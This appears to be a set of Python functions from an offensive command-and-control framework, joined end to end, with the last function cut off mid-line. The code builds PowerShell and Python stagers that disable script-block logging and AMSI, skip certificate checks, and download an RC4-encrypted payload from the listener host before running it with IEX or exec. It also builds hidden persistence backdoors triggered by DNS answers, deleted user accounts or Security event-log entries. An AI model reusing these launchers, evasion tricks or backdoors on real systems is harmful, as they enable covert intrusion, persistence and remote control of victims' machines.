def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', payloadRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] requestHeader = listenerOptions['RequestHeader']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell payload = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': payload = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass payload += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") payload += "'System.Management.Automation.Utils'" payload += helpers.randomize_capitalization(").\"GetFie`ld\"(") payload += "'cachedGroupPolicySettings','N'+'onPublic,Static'" payload += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") payload += "['ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("){$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" payload += helpers.randomize_capitalization("$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" payload += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") payload += "('EnableScriptB'+'lockLogging',0);" payload += helpers.randomize_capitalization("$val.Add") payload += "('EnableScriptBlockInvocationLogging',0);" payload += helpers.randomize_capitalization("$GPC") payload += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("=$val}") payload += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") payload += "'signatures','N'+'onPublic,Static'" payload += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass payload += helpers.randomize_capitalization("[Ref].Assembly.GetType(") payload += "'System.Management.Automation.AmsiUtils'" payload += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') payload += "'amsiInitFailed','NonPublic,Static'" payload += helpers.randomize_capitalization(").SetValue($null,$true)};") payload += "};" payload += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") # TODO: reimplement payload retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array payload += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") payload += "'%s');" % (stagingKey) # this is the minimized RC4 payload code from rc4.ps1 payload += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) payload += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" payload += "$ser='%s';$t='%s';" % (host, stage0) # add the RC4 packet to a header location payload += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket) #Add custom headers if any modifyHost = False if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] if headerKey.lower() == "host": modifyHost = True payload += "`r`n%s: %s" % (headerKey, headerValue) payload += "\";" #If host header defined, assume domain fronting is in use and add a call to the base URL first #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: payload += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};") payload += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" payload += "while($ie.busy){Start-Sleep -Milliseconds 100};" payload += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" payload += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" payload += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution payload += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: payload = helpers.obfuscate(self.mainMenu.installPath, payload, obfuscationCommand=obfuscationCommand) # base64 encode the payload and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(payload, launcher) else: # otherwise return the case-randomized payload return payload else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")
def generate(self): script = """ function Invoke-ResolverBackdoor { param( [Parameter(Mandatory=$False,Position=1)] [string]$Hostname, [Parameter(Mandatory=$False,Position=2)] [string]$Trigger="127.0.0.1", [Parameter(Mandatory=$False,Position=3)] [int] $Timeout=0, [Parameter(Mandatory=$False,Position=4)] [int] $Sleep=30 ) $running=$True $match ="" $starttime = Get-Date while($running) { if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) { $running=$False } try { $ips = [System.Net.Dns]::GetHostAddresses($Hostname) foreach ($addr in $ips) { $resolved=$addr.IPAddressToString if($resolved -ne $Trigger) { $running=$False REPLACE_LAUNCHER } } } catch [System.Net.Sockets.SocketException]{ } Start-Sleep -s $Sleep } } Invoke-ResolverBackdoor""" listenerName = self.options['Listener']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # set the listener value for the launcher stager = self.mainMenu.stagers.stagers["launcher"] stager.options['Listener']['Value'] = listenerName stager.options['Base64']['Value'] = "False" # and generate the code stagerCode = stager.generate() if stagerCode == "": return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) script = script.encode('ascii', 'ignore') for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) outFile = self.options['OutFile']['Value'] if outFile != '': # make the base directory if it doesn't exist if not os.path.exists(os.path.dirname(outFile)) and os.path.dirname(outFile) != '': os.makedirs(os.path.dirname(outFile)) f = open(outFile, 'w') f.write(script) f.close() print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile) return "" # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting launcher = helpers.powershell_launcher(script) stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher parts = stagerCode.split(" ") # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % (parts[0], " ".join(parts[1:])) return scriptLauncher
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', payloadRetries='0', language=None, safeChecks='', listenerName=None): if not language: print helpers.color("[!] listeners/onedrive generate_launcher(): No language specified") if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options'] staging_key = listener_options['StagingKey']['Value'] profile = listener_options['DefaultProfile']['Value'] launcher_cmd = listener_options['Launcher']['Value'] staging_key = listener_options['StagingKey']['Value'] poll_interval = listener_options['PollInterval']['Value'] base_folder = listener_options['BaseFolder']['Value'].strip("/") staging_folder = listener_options['StagingFolder']['Value'] taskings_folder = listener_options['TaskingsFolder']['Value'] results_folder = listener_options['ResultsFolder']['Value'] if language.startswith("power"): launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging if safeChecks.lower() == 'true': launcher += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass launcher += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") launcher += "'System.Management.Automation.Utils'" launcher += helpers.randomize_capitalization(").'GetFie`ld'(") launcher += "'cachedGroupPolicySettings','N'+'onPublic,Static'" launcher += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") launcher += "['ScriptB'+'lockLogging']" launcher += helpers.randomize_capitalization("){$GPC") launcher += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" launcher += helpers.randomize_capitalization("$GPC") launcher += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" launcher += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") launcher += "('EnableScriptB'+'lockLogging',0);" launcher += helpers.randomize_capitalization("$val.Add") launcher += "('EnableScriptBlockInvocationLogging',0);" launcher += helpers.randomize_capitalization("$GPC") launcher += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" launcher += helpers.randomize_capitalization("=$val}") launcher += helpers.randomize_capitalization("Else{[ScriptBlock].'GetFie`ld'(") launcher += "'signatures','N'+'onPublic,Static'" launcher += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass launcher += helpers.randomize_capitalization("[Ref].Assembly.GetType(") launcher += "'System.Management.Automation.AmsiUtils'" launcher += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') launcher += "'amsiInitFailed','NonPublic,Static'" launcher += helpers.randomize_capitalization(").SetValue($null,$true)};") launcher += "};" launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;") if userAgent.lower() == 'default': profile = listener_options['DefaultProfile']['Value'] userAgent = profile.split("|")[1] launcher += "$u='" + userAgent + "';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': launcher += helpers.randomize_capitalization("$wc.Headers.Add(") launcher += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: username = proxyCreds.split(":")[0] password = proxyCreds.split(":")[1] domain = username.split("\\")[0] usr = username.split("\\")[1] launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") launcher += "$Script:Proxy = $wc.Proxy;" # code to turn the key string into a byte array launcher += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") launcher += ("'%s');" % staging_key) # this is the minimized RC4 launcher code from rc4.ps1 launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('") launcher += self.mainMenu.listeners.activeListeners[listenerName]['payload_url'] launcher += helpers.randomize_capitalization("');$iv=$data[0..3];$data=$data[4..$data.length];") launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand) if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(launcher, launcher_cmd) else: return launcher if language.startswith("pyth"): print helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet") return "python not implimented yet" else: print helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name")
def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-DeadUserBackdoor { Param( [Parameter(Mandatory=$False,Position=1)] [int]$Timeout=0, [Parameter(Mandatory=$False,Position=2)] [int] $Sleep=30, [Parameter(Mandatory=$True,Position=3)] [string] $Username, [Parameter(Mandatory=$False,Position=4)] [switch] $Domain ) $running=$True $match ="" $starttime = Get-Date while($running) { if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) { $running=$False } if($Domain) { $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))" $UserSearcher.PageSize = 1000 $count = @($UserSearcher.FindAll()).Count if($count -eq 0) { Write-Verbose "Domain user $Username not found!" $match=$True } } else { $comp = $env:computername [ADSI]$server="WinNT://$comp" $usercheck = $server.children | where{$_.schemaclassname -eq "user" -and $_.name -eq $Username} if(-not $usercheck) { $match=$True } } if($match) { REPLACE_LAUNCHER $running=$False } else { Start-Sleep -s $Sleep } } } Invoke-DeadUserBackdoor""" listenerName = self.options['Listener']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # set the listener value for the launcher stager = self.mainMenu.stagers.stagers["multi/launcher"] stager.options['Listener']['Value'] = listenerName stager.options['Base64']['Value'] = "False" # and generate the code stagerCode = stager.generate() if stagerCode == "": return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) script = script.encode('ascii', 'ignore') for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) outFile = self.options['OutFile']['Value'] if outFile != '': # make the base directory if it doesn't exist if not os.path.exists(os.path.dirname(outFile)) and os.path.dirname(outFile) != '': os.makedirs(os.path.dirname(outFile)) f = open(outFile, 'w') f.write(script) f.close() print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile) return "" if obfuscate: script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc " launcher = helpers.powershell_launcher(script, modifiable_launcher) stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher parts = stagerCode.split(" ") # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-DeadUserBackdoor started'" % (parts[0], " ".join(parts[1:])) if obfuscate: scriptLauncher = helpers.obfuscate(psScript=scriptLauncher, obfuscationCommand=obfuscationCommand) return scriptLauncher
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # ScriptBlock Logging bypass stager = helpers.randomize_capitalization( "$GroupPolicySettings = [ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization( ").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ").GetValue($null);$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" stager += helpers.randomize_capitalization( "$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization( "[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,$true)};") stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) stager += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") stager += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] stager += "$netcred = New-Object System.Net.NetworkCredential(" + usr + "," + password + "," + domain + ");" stager += helpers.randomize_capitalization( "$wc.Proxy.Credentials = $netcred;") # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str( bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str( bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) #Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] stager += helpers.randomize_capitalization( "$wc.Headers.Add(") stager += "\"%s\",\"%s\");" % (headerKey, headerValue) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += "$ser='%s';$t='%s';" % (host, stage0) stager += helpers.randomize_capitalization( "$data=$WC.DownloadData($ser+$t);") stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) launcherBase += "req=urllib2.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( b64RoutingPacket) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] #launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) launcherBase += "req.add_header(\"%s\",\"%s\");\n" % ( headerKey, headerValue) if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None," + proxy + "," + username + "," + password + ");\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." ) else: print helpers.color( "[!] listeners/http generate_launcher(): invalid listener name specification!" )
def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-EventLogBackdoor { Param( [Parameter(Mandatory=$False,Position=1)] [string]$Trigger="HACKER", [Parameter(Mandatory=$False,Position=2)] [int]$Timeout=0, [Parameter(Mandatory=$False,Position=3)] [int]$Sleep=30 ) $running=$True $match ="" $starttime = Get-Date while($running) { if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) { $running=$False } $d = Get-Date $NewEvents = Get-WinEvent -FilterHashtable @{logname='Security'; StartTime=$d.AddSeconds(-$Sleep)} -ErrorAction SilentlyContinue | fl Message | Out-String if($NewEvents -match $Trigger) { REPLACE_LAUNCHER $running=$False } else { Start-Sleep -s $Sleep } } } Invoke-EventLogBackdoor""" listenerName = self.options['Listener']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # set the listener value for the launcher payload = self.mainMenu.payloads.payloads["multi/launcher"] payload.options['Listener']['Value'] = listenerName payload.options['Base64']['Value'] = "False" # and generate the code payloadCode = payload.generate() if payloadCode == "": return "" else: script = script.replace("REPLACE_LAUNCHER", payloadCode) script = script.encode('ascii', 'ignore') for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) outFile = self.options['OutFile']['Value'] if outFile != '': # make the base directory if it doesn't exist if not os.path.exists(os.path.dirname(outFile)) and os.path.dirname(outFile) != '': os.makedirs(os.path.dirname(outFile)) f = open(outFile, 'w') f.write(script) f.close() print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile) return "" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc " launcher = helpers.powershell_launcher(script, modifiable_launcher) payloadCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher parts = payloadCode.split(" ") # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % (parts[0], " ".join(parts[1:])) if obfuscate: scriptLauncher = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptLauncher, obfuscationCommand=obfuscationCommand) print scriptLauncher return scriptLauncher
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False): """ Generate a basic launcher for the specified listener. """ if not language: print( helpers.color( '[!] listeners/http generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass if scriptLogBypass: stager += bypasses.scriptBlockLogBypass() # @mattifestation's AMSI bypass if AMSIBypass: stager += bypasses.AMSIBypass() # rastamouse AMSI bypass if AMSIBypass2: stager += bypasses.AMSIBypass2() stager += "};" stager += helpers.randomize_capitalization( 'Add-Type -assembly "Microsoft.Office.Interop.Outlook";' ) stager += "$" + helpers.generate_random_script_var_name( "GPF" ) + " = New-Object -comobject Outlook.Application;" stager += helpers.randomize_capitalization( '$mapi = $' + helpers.generate_random_script_var_name("GPF") + '.GetNameSpace("') stager += 'MAPI");' if listenerOptions['Email']['Value'] != '': stager += '$fld = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email'][ 'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '")};' stager += '$fldel = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email']['Value'] + '"} | %{$_.Folders.Item(3)};' else: stager += '$fld = $' + helpers.generate_random_script_var_name( "GPF" ) + '.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '");' stager += '$fldel = $' + helpers.generate_random_script_var_name( "GPF") + '.Session.GetDefaultFolder(3);' # clear out all existing mails/messages stager += helpers.randomize_capitalization( "while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}" ) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( 